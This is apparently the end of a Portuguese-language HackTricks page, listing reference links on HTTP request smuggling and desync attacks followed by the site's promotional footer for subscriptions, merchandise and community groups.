|
|
* [https://github.com/haroonawanofficial/HTTP-Desync-Attack/](https://github.com/haroonawanofficial/HTTP-Desync-Attack/)
|
|
* [https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html](https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html)
|
|
* [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|